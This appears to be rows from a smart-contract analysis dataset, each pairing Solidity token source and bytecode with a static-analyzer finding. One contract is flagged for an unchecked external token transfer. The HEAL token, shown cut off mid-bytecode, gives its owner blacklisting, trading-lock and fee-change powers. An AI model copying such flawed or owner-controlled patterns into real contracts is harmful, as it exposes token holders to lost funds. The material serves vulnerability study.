* @dev max total number of tokens
*/
function getMaxTotalSupply() public view returns (uint256) {
return MAX_TOTAL_SUPPLY;
}
/**
* @dev Gets the balance of the specified address.
* @param _who The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _who address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _who, address _spender) public view returns (uint256) {
return allowed[_who][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public canMint returns (bool) {
require(_amount > 0);
require(_to != address(0));
totalSupply_ = totalSupply_.add(_amount);
require(totalSupply_ <= MAX_TOTAL_SUPPLY);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
} | 0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806317ffc320146101e357806318160ddd1461020657806323b872dd1461022d578063313ce5671461025757806333039d3d1461028257806340c10f1914610297578063481c6a75146102bb5780634e71e0c8146102ec5780635db30bb114610301578063661884631461031657806370a082311461033a5780638da5cb5b1461035b57806395d89b4114610370578063a9059cbb14610385578063d0ebdbe7146103a9578063d73dd623146103ca578063dd62ed3e146103ee578063e30c397814610415578063f2fde38b1461042a575b600080fd5b34801561012d57600080fd5b5061013661044b565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610170578181015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b757600080fd5b506101cf600160a060020a03600435166024356104d9565b604080519115158252519081900360200190f35b3480156101ef57600080fd5b50610204600160a060020a036004351661053f565b005b34801561021257600080fd5b5061021b610688565b60408051918252519081900360200190f35b34801561023957600080fd5b506101cf600160a060020a036004358116906024351660443561068e565b34801561026357600080fd5b5061026c610807565b6040805160ff9092168252519081900360200190f35b34801561028e57600080fd5b5061021b610810565b3480156102a357600080fd5b506101cf600160a060020a0360043516602435610816565b3480156102c757600080fd5b506102d0610953565b60408051600160a060020a039092168252519081900360200190f35b3480156102f857600080fd5b50610204610962565b34801561030d57600080fd5b5061021b6109ea565b34801561032257600080fd5b506101cf600160a060020a03600435166024356109f0565b34801561034657600080fd5b5061021b600160a060020a0360043516610ae0565b34801561036757600080fd5b506102d0610afb565b34801561037c57600080fd5b50610136610b0a565b34801561039157600080fd5b506101cf600160a060020a0360043516602435610b65565b3480156103b557600080fd5b50610204600160a060020a0360043516610c48565b3480156103d657600080fd5b506101cf600160a060020a0360043516602435610ca3565b3480156103fa57600080fd5b5061021b600160a060020a0360043581169060243516610d3c565b34801561042157600080fd5b506102d0610d67565b34801561043657600080fd5b50610204600160a060020a0360043516610d76565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104d15780601f106104a6576101008083540402835291602001916104d1565b820191906000526020600020905b8154815290600101906020018083116104b457829003601f168201915b505050505081565b336000818152600760209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60008054600160a060020a0316331461055757600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038416916370a082319160248083019260209291908290030181600087803b1580156105b857600080fd5b505af11580156105cc573d6000803e3d6000fd5b505050506040513d60208110156105e257600080fd5b505160008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519394509085169263a9059cbb92604480840193602093929083900390910190829087803b15801561065857600080fd5b505af115801561066c573d6000803e3d6000fd5b505050506040513d602081101561068257600080fd5b50505050565b60035490565b6000600160a060020a03831615156106a557600080fd5b600160a060020a0384166000908152600660205260409020548211156106ca57600080fd5b600160a060020a03841660009081526007602090815260408083203384529091529020548211156106fa57600080fd5b600160a060020a038416600090815260066020526040902054610723908363ffffffff610dbc16565b600160a060020a038086166000908152600660205260408082209390935590851681522054610758908363ffffffff610dce16565b600160a060020a03808516600090815260066020908152604080832094909455918716815260078252828120338252909152205461079c908363ffffffff610dbc16565b600160a060020a03808616600081815260076020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60045460ff1681565b60055481565b600254600090600160a060020a0316331461083057600080fd5b60055461083b610688565b111561084657600080fd5b6000821161085357600080fd5b600160a060020a038316151561086857600080fd5b60035461087b908363ffffffff610dce16565b6003819055600554101561088e57600080fd5b600160a060020a0383166000908152600660205260409020546108b7908363ffffffff610dce16565b600160a060020a038416600081815260066020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600254600160a060020a031681565b600154600160a060020a0316331461097957600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60055490565b336000908152600760209081526040808320600160a060020a038616845290915281205480831115610a4557336000908152600760209081526040808320600160a060020a0388168452909152812055610a7a565b610a55818463ffffffff610dbc16565b336000908152600760209081526040808320600160a060020a03891684529091529020555b336000818152600760209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526006602052604090205490565b600054600160a060020a031681565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104d15780601f106104a6576101008083540402835291602001916104d1565b6000600160a060020a0383161515610b7c57600080fd5b33600090815260066020526040902054821115610b9857600080fd5b33600090815260066020526040902054610bb8908363ffffffff610dbc16565b3360009081526006602052604080822092909255600160a060020a03851681522054610bea908363ffffffff610dce16565b600160a060020a0384166000818152600660209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600054600160a060020a03163314610c5f57600080fd5b600160a060020a0381161515610c7457600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000908152600760209081526040808320600160a060020a0386168452909152812054610cd7908363ffffffff610dce16565b336000818152600760209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b600154600160a060020a031681565b600054600160a060020a03163314610d8d57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610dc857fe5b50900390565b81810182811015610ddb57fe5b929150505600a165627a7a72305820358ad9e2b43af4d94114e7c41af84ca0d08853ad10857e4e524750b819de8d4d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 1,971 |
0x383b0b2ce2e1757b5e1d087d8f36013ea595541a | /**
*Submitted for verification at Etherscan.io on 2022-02-28
*/
//Telegram - https://t.me/HealTheWorldLLC
//website - https://healtheworld.io/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HEAL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Heal The World";
string private constant _symbol = "HEAL";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x45c1c1Ab655e731DfC2A1339a1788D0478dA8e8E);
address payable private _marketingAddress = payable(0x45c1c1Ab655e731DfC2A1339a1788D0478dA8e8E);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 4000000000 * 10**9;
uint256 public _maxWalletSize = 8000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055a578063dd62ed3e1461057a578063ea1644d5146105c0578063f2fde38b146105e057600080fd5b8063a2a957bb146104d5578063a9059cbb146104f5578063bfd7928414610515578063c3c8cd801461054557600080fd5b80638f70ccf7116100d15780638f70ccf7146104525780638f9a55c01461047257806395d89b411461048857806398a5c315146104b557600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638da5cb5b1461043457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101ab5780631694505e1461027757806318160ddd146102af57806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aee565b610600565b005b34801561020a57600080fd5b5060408051808201909152600e81526d1219585b08151a194815dbdc9b1960921b60208201525b60405161023e9190611bb3565b60405180910390f35b34801561025357600080fd5b50610267610262366004611c08565b61069f565b604051901515815260200161023e565b34801561028357600080fd5b50601454610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50683635c9adc5dea000005b60405190815260200161023e565b3480156102e157600080fd5b506102676102f0366004611c34565b6106b6565b34801561030157600080fd5b506102c760185481565b34801561031757600080fd5b506040516009815260200161023e565b34801561033357600080fd5b50601554610297906001600160a01b031681565b34801561035357600080fd5b506101fc610362366004611c75565b61071f565b34801561037357600080fd5b506101fc610382366004611ca2565b61076a565b34801561039357600080fd5b506101fc6107b2565b3480156103a857600080fd5b506102c76103b7366004611c75565b6107fd565b3480156103c857600080fd5b506101fc61081f565b3480156103dd57600080fd5b506101fc6103ec366004611cbd565b610893565b3480156103fd57600080fd5b506102c760165481565b34801561041357600080fd5b506102c7610422366004611c75565b60116020526000908152604090205481565b34801561044057600080fd5b506000546001600160a01b0316610297565b34801561045e57600080fd5b506101fc61046d366004611ca2565b6108d2565b34801561047e57600080fd5b506102c760175481565b34801561049457600080fd5b506040805180820190915260048152631211505360e21b6020820152610231565b3480156104c157600080fd5b506101fc6104d0366004611cbd565b61091a565b3480156104e157600080fd5b506101fc6104f0366004611cd6565b610949565b34801561050157600080fd5b50610267610510366004611c08565b610aff565b34801561052157600080fd5b50610267610530366004611c75565b60106020526000908152604090205460ff1681565b34801561055157600080fd5b506101fc610b0c565b34801561056657600080fd5b506101fc610575366004611d08565b610b60565b34801561058657600080fd5b506102c7610595366004611d8c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cc57600080fd5b506101fc6105db366004611cbd565b610c01565b3480156105ec57600080fd5b506101fc6105fb366004611c75565b610c30565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611dc5565b60405180910390fd5b60005b815181101561069b5760016010600084848151811061065757610657611dfa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611e26565b915050610636565b5050565b60006106ac338484610d1a565b5060015b92915050565b60006106c3848484610e3e565b610715843361071085604051806060016040528060288152602001611f40602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061137a565b610d1a565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161062a90611dc5565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161062a90611dc5565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e757506013546001600160a01b0316336001600160a01b0316145b6107f057600080fd5b476107fa816113b4565b50565b6001600160a01b0381166000908152600260205260408120546106b0906113ee565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161062a90611dc5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161062a90611dc5565b674563918244f400008111156107fa57601655565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161062a90611dc5565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109445760405162461bcd60e51b815260040161062a90611dc5565b601855565b6000546001600160a01b031633146109735760405162461bcd60e51b815260040161062a90611dc5565b60048411156109d25760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b606482015260840161062a565b6014821115610a2e5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b606482015260840161062a565b6004831115610a8e5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b606482015260840161062a565b6014811115610aeb5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b606482015260840161062a565b600893909355600a91909155600955600b55565b60006106ac338484610e3e565b6012546001600160a01b0316336001600160a01b03161480610b4157506013546001600160a01b0316336001600160a01b0316145b610b4a57600080fd5b6000610b55306107fd565b90506107fa81611472565b6000546001600160a01b03163314610b8a5760405162461bcd60e51b815260040161062a90611dc5565b60005b82811015610bfb578160056000868685818110610bac57610bac611dfa565b9050602002016020810190610bc19190611c75565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf381611e26565b915050610b8d565b50505050565b6000546001600160a01b03163314610c2b5760405162461bcd60e51b815260040161062a90611dc5565b601755565b6000546001600160a01b03163314610c5a5760405162461bcd60e51b815260040161062a90611dc5565b6001600160a01b038116610cbf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d7c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610ddd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a56